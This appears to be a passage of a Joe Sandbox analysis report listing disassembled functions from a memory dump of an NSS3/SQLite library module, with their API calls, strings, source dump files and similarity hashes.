Opcode Fuzzy Hash: 6422a99e1e6645fcd18615fbbd03d6ea024bb071c09d5c6033bf8ecf8068162d
Instruction Fuzzy Hash: E23156B56002289FEF20EF64CD48BAA7BB8FF4A346F044175F609D2250EB305994CF69

Function 6C5D3D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5D3DFB
__allrem.LIBCMT ref: 6C5D3EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C5D3FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C5D4047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5D40DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C5D415F
__allrem.LIBCMT ref: 6C5D416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C5D4288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C5D42AB
__allrem.LIBCMT ref: 6C5D42B7

Strings

%04d, xrefs: 6C5D407B
%lld, xrefs: 6C5D3FB2
%02d, xrefs: 6C5D4086
%03d, xrefs: 6C5D42E8

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 0d3b62786b02871ddc9403c7efe866c5ff995dcc8302c03c7925f6c43f12d5a6
Instruction ID: 537a83566150e8586440cbca23e6b94b65b67b778348588cf9af185be93d98df
Opcode Fuzzy Hash: 0d3b62786b02871ddc9403c7efe866c5ff995dcc8302c03c7925f6c43f12d5a6
Instruction Fuzzy Hash: 93F13171A087409FD315CF7CCC81A6AB7F6AFC6304F158A2DE485A7651E734E886CB4A

Function 6C5DEF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5DEF63

Part of subcall function 6C5E87D0: PORT_NewArena_Util.NSS3(00000800,6C5DEF74,00000000), ref: 6C5E87E8
Part of subcall function 6C5E87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6C5DEF74,00000000), ref: 6C5E87FD
Part of subcall function 6C5E87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C5E884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6C5DF2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5DF2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6C5DF30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6C5DF374
PL_strcasecmp.NSS3(6C722FD4,?), ref: 6C5DF457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6C5DF4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C5DF66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C5DF67D
CERT_DestroyName.NSS3(?), ref: 6C5DF68B

Part of subcall function 6C5E8320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6C5E8338
Part of subcall function 6C5E8320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C5E8364
Part of subcall function 6C5E8320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6C5E838E
Part of subcall function 6C5E8320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5E83A5
Part of subcall function 6C5E8320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5E83E3

Part of subcall function 6C5E84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6C5E84D9
Part of subcall function 6C5E84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C5E8528

Part of subcall function 6C5E8900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6C5DF599,?,00000000), ref: 6C5E8955

Strings

", xrefs: 6C5DF21B
oid., xrefs: 6C5DF2CF
*, xrefs: 6C5DF3C6

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: f01536723469260df6a80295052087b067ad50d41924d6f81e81f6b4f71830d9
Instruction ID: 75c8b094cb83da1ee20b652fff48a5abb0573890286082dfc2dee2eec0c255c2
Opcode Fuzzy Hash: f01536723469260df6a80295052087b067ad50d41924d6f81e81f6b4f71830d9
Instruction Fuzzy Hash: 8D2248716083418BD310CE6CDC9076AB7E6ABC5318F1A4B2EE596C7B91E731AC45C78B

Function 6C581C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C581D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C581EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6C581FB7

Strings

unsupported file format, xrefs: 6C582188
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6C581F83
unknown error, xrefs: 6C582291
table, xrefs: 6C581C8B
sqlite_master, xrefs: 6C581C61
another row available, xrefs: 6C582287
attached databases must use the same text encoding as main database, xrefs: 6C5820CA
abort due to ROLLBACK, xrefs: 6C582223
no more rows available, xrefs: 6C582264
sqlite_temp_master, xrefs: 6C581C5C

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: eb5be99017409544f25014dec065a102babc337c0c9e2c30de517af84f6ac804
Instruction ID: a3ef3d06058f2e95ca785defbb2b8e1d881bf7c25c1215b2046d6f94d8c018c4
Opcode Fuzzy Hash: eb5be99017409544f25014dec065a102babc337c0c9e2c30de517af84f6ac804
Instruction Fuzzy Hash: 6212BE70609311CFD701CF19C88465ABBF2BF85318F18896DE8998BB52D731EC4ACB92

Function 6C5A5F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

-, xrefs: 6C5A62F9
NOCASE, xrefs: 6C5A8703
u, xrefs: 6C5A81DA
-, xrefs: 6C5A6228
BINARY, xrefs: 6C5A8708, 6C5A8737, 6C5A87B8
ON clause references tables to its right, xrefs: 6C5A6BEC
sub-select returns %d columns - expected %d, xrefs: 6C5A805F
2, xrefs: 6C5A65B4

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: 6d9205f7b272fd34665b39fb6a033b0d11e4e54810509d29fb5672d9d207cd0b
Instruction ID: 7f9fc804be1b672752a97838e4d562b6d6e7ce803160095d838c5a84bd33ab24
Opcode Fuzzy Hash: 6d9205f7b272fd34665b39fb6a033b0d11e4e54810509d29fb5672d9d207cd0b
Instruction Fuzzy Hash: 164372746083418FD304CF5AC890B5ABBE2BFC9358F148A5DE8998B756D731E847CB92

Function 6C64EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C64C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C64DAE2,?), ref: 6C64C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C64F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C64F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C64F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C64F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C71218C), ref: 6C64F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C64F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C64F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C64F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C64F210

Part of subcall function 6C5F52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C64F1E9,?,00000000,?,?), ref: 6C5F52F5
Part of subcall function 6C5F52D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C5F530F
Part of subcall function 6C5F52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C5F5326
Part of subcall function 6C5F52D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C64F1E9,?,00000000,?,?), ref: 6C5F5340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C64F227

Part of subcall function 6C63FAB0: free.MOZGLUE(?,-00000001,?,?,6C5DF673,00000000,00000000), ref: 6C63FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C64F23E

Part of subcall function 6C63BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C5EE708,00000000,00000000,00000004,00000000), ref: 6C63BE6A
Part of subcall function 6C63BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C5F04DC,?), ref: 6C63BE7E
Part of subcall function 6C63BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C63BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C64F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C64F3A8

Part of subcall function 6C68C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C68C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C64F3B3

Part of subcall function 6C5F2D20: PK11_DestroyObject.NSS3(?,?), ref: 6C5F2D3C
Part of subcall function 6C5F2D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C5F2D5F

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: a6010c8a8c5b92888a1fdba1def9aca253b586d843c540d2cbff18493ff6594e
Instruction ID: 9270d9be261806f5d2cd03940b56affaa67bf4831084d247125ab2bb873bc665
Opcode Fuzzy Hash: a6010c8a8c5b92888a1fdba1def9aca253b586d843c540d2cbff18493ff6594e
Instruction Fuzzy Hash: B8D1A1B6E016159FDB04CFA9D880A9EB7F6FF48308F14C029D915A7711EB31E806CB99

Function 6C67DE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6C657FFA,00000000,?,6C6823B9,00000002,00000000,?,6C657FFA,00000002), ref: 6C67DE33

Part of subcall function 6C6A9090: TlsGetValue.KERNEL32 ref: 6C6A90AB
Part of subcall function 6C6A9090: TlsGetValue.KERNEL32 ref: 6C6A90C9
Part of subcall function 6C6A9090: EnterCriticalSection.KERNEL32 ref: 6C6A90E5
Part of subcall function 6C6A9090: TlsGetValue.KERNEL32 ref: 6C6A9116
Part of subcall function 6C6A9090: LeaveCriticalSection.KERNEL32 ref: 6C6A913F

Part of subcall function 6C67D000: PORT_ZAlloc_Util.NSS3(00000108,?,6C67DE74,6C657FFA,00000002,?,?,?,?,?,00000000,6C657FFA,00000000,?,6C6823B9,00000002), ref: 6C67D008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6C657FFA,00000000,?,6C6823B9,00000002,00000000,?,6C657FFA,00000002), ref: 6C67DE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6C67DEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C67E069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C67E121
PK11_FreeSymKey.NSS3(?), ref: 6C67E14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6C67E195
PR_GetCurrentThread.NSS3 ref: 6C67E1FC

Part of subcall function 6C672460: PR_SetError.NSS3(FFFFE005,00000000,6C717379,00000002,?), ref: 6C672493

Strings

handshake data, xrefs: 6C67DFF7
application data, xrefs: 6C67DFE0
key, xrefs: 6C67E046
early application data, xrefs: 6C67DFC9

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 6fbdd3fdf1953aaa7a57d0c02dd6a50ad2fd0f064cb85365e602523de5d270f4
Instruction ID: 2218268f5c56ed586b3181615da036289711173bc68e2892630c94a93b7d0a81
Opcode Fuzzy Hash: 6fbdd3fdf1953aaa7a57d0c02dd6a50ad2fd0f064cb85365e602523de5d270f4
Instruction Fuzzy Hash: A1C1F771A002059FDB24CF69CC80BEA77B4FF05318F144939E9159BA51E335E958CBB9

Function 6C623850 Relevance: 21.2, APIs: 14, Instructions: 233COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C62389F
EnterCriticalSection.KERNEL32(?), ref: 6C6238B3
PR_Unlock.NSS3(?), ref: 6C6238F1
TlsGetValue.KERNEL32 ref: 6C62390F
EnterCriticalSection.KERNEL32(?), ref: 6C623923
PR_Unlock.NSS3(?), ref: 6C623972
TlsGetValue.KERNEL32 ref: 6C623996
EnterCriticalSection.KERNEL32(0000001C), ref: 6C6239AE
PR_Unlock.NSS3(?), ref: 6C6239DB
PR_Unlock.NSS3(?), ref: 6C623A16

Part of subcall function 6C68DD70: TlsGetValue.KERNEL32 ref: 6C68DD8C
Part of subcall function 6C68DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C68DDB4

Part of subcall function 6C5D07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C56204A), ref: 6C5D07AD
Part of subcall function 6C5D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C56204A), ref: 6C5D07CD
Part of subcall function 6C5D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C56204A), ref: 6C5D07D6
Part of subcall function 6C5D07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C56204A), ref: 6C5D07E4
Part of subcall function 6C5D07A0: TlsSetValue.KERNEL32(00000000,?,6C56204A), ref: 6C5D0864
Part of subcall function 6C5D07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C5D0880
Part of subcall function 6C5D07A0: TlsSetValue.KERNEL32(00000000,?,?,6C56204A), ref: 6C5D08CB
Part of subcall function 6C5D07A0: TlsGetValue.KERNEL32(?,?,6C56204A), ref: 6C5D08D7
Part of subcall function 6C5D07A0: TlsGetValue.KERNEL32(?,?,6C56204A), ref: 6C5D08FB

TlsGetValue.KERNEL32 ref: 6C623A36
EnterCriticalSection.KERNEL32(0000001C), ref: 6C623A4E
PR_Unlock.NSS3(?), ref: 6C623A77
PR_SetError.NSS3(00000000,00000000), ref: 6C623A8F

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$calloc$ErrorLeave
String ID:
API String ID: 1642523270-0
Opcode ID: 2bdb0cc5569f7854d352e551bb4190175b307936e68aad3e2bc97540af4329eb
Instruction ID: 82f4176a9aaf06f72f5120f5e6287b332e93db26add1043e7becb4c841d9e005
Opcode Fuzzy Hash: 2bdb0cc5569f7854d352e551bb4190175b307936e68aad3e2bc97540af4329eb
Instruction Fuzzy Hash: 9C916975D002199FDB00EF68D884A997BB8FF0A319F0441B9EC15AB711E734E994CF95

Function 6C56ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C56ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C56EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C56EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C56EF98

Strings

%s at line %d of [%.10s], xrefs: 6C56F492
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C56F483
database corruption, xrefs: 6C56F48D

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: ea6d7cce2585296fc00c1dec81ab75bb6c5f0aeff3280a698be2b9a527aecfc4
Instruction ID: ec44649dda6ab83414681bf0148ddb13636a6a08107a296b66efff591544fdb0
Opcode Fuzzy Hash: ea6d7cce2585296fc00c1dec81ab75bb6c5f0aeff3280a698be2b9a527aecfc4
Instruction Fuzzy Hash: DA62DF70E052458FDB14CF26CC84B9ABBB2BF45318F184699D8455BFA2D771EC86CB90

Function 6C607D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6C607DDC

Part of subcall function 6C6407B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C5E8298,?,?,?,6C5DFCE5,?), ref: 6C6407BF
Part of subcall function 6C6407B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6407E6
Part of subcall function 6C6407B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C64081B
Part of subcall function 6C6407B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C640825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C607DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6C607F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6C607F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6C607F98
PK11_FreeSymKey.NSS3(?), ref: 6C607FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C607FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6C608000

Part of subcall function 6C629430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6C607F0C,?,00000000,00000000,00000000,?), ref: 6C62943B
Part of subcall function 6C629430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6C62946B
Part of subcall function 6C629430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6C629546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C608110
PK11_FreeSymKey.NSS3(00000000), ref: 6C60811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C60822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C60823C

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: ba839e8f052c92b9237f738ebf8d4fae14f1e5a8db0ab674767a737c02366436
Instruction ID: 09f470bb44dacfc0784d1f3702521f8cd4433a297e9a6fb516176fad43f7905c
Opcode Fuzzy Hash: ba839e8f052c92b9237f738ebf8d4fae14f1e5a8db0ab674767a737c02366436
Instruction Fuzzy Hash: 67C17FB1E402199BEB25CF14CD40FEAB7B9AF19308F0085E5E90DB6651E7319E85CFA4

Function 6C57AEC0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C69CF46,?,6C56CDBD,?,6C69BF31,?,?,?,?,?,?,?), ref: 6C57B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C69CF46,?,6C56CDBD,?,6C69BF31), ref: 6C57B090
sqlite3_free.NSS3(?,?,?,?,?,?,6C69CF46,?,6C56CDBD,?,6C69BF31), ref: 6C57B0A2
CloseHandle.KERNEL32(?,?,6C69CF46,?,6C56CDBD,?,6C69BF31,?,?,?,?,?,?,?,?,?), ref: 6C57B100
sqlite3_free.NSS3(?,?,00000002,?,6C69CF46,?,6C56CDBD,?,6C69BF31,?,?,?,?,?,?,?), ref: 6C57B115
sqlite3_free.NSS3(?,?,?,?,?,?,6C69CF46,?,6C56CDBD,?,6C69BF31), ref: 6C57B12D

Part of subcall function 6C569EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C57C6FD,?,?,?,?,6C5CF965,00000000), ref: 6C569F0E
Part of subcall function 6C569EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C5CF965,00000000), ref: 6C569F5D

Strings

`ol, xrefs: 6C57B0DF

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID: `ol
API String ID: 3155957115-1027905379
Opcode ID: 56d518da5ed88bdab2b2274c8c7f1b10d3539cd8cd481d2a01870e02fd36f118
Instruction ID: 782aa5cd4677e7e4f5b876195bf5d7016e8f040fcebe7cc74420ef832e496698
